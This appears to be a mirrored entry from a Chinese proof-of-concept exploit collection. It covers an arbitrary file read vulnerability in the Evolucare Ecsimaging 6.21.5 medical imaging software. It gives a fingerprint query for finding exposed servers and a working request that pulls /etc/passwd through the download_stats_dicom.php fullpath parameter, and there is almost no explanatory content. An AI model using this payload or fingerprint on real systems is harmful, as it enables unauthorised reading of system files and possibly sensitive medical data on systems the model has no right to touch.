mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-06 03:17:19 +00:00
31 lines
510 B
Markdown
31 lines
510 B
Markdown
# Evolucare Ecsimaging download_stats_dicom.php 任意文件读取漏洞
|
|
|
|
## 漏洞描述
|
|
|
|
Evolucare Ecsimaging download_stats_dicom.php 存在文件读取漏洞,攻击者可利用该漏洞获取系统敏感信息等.
|
|
|
|
## 漏洞影响
|
|
|
|
```
|
|
EVOLUCARE Evolucare Ecsimaging 6.21.5
|
|
```
|
|
|
|
## 网络测绘
|
|
|
|
```
|
|
body="ECSimaging"
|
|
```
|
|
|
|
## 漏洞复现
|
|
|
|
登录页面
|
|
|
|
|
|
|
|
验证POC
|
|
|
|
```
|
|
/download_stats_dicom.php?fullpath=/etc/passwd&filename=/etc/passwd
|
|
```
|
|
|
|
 |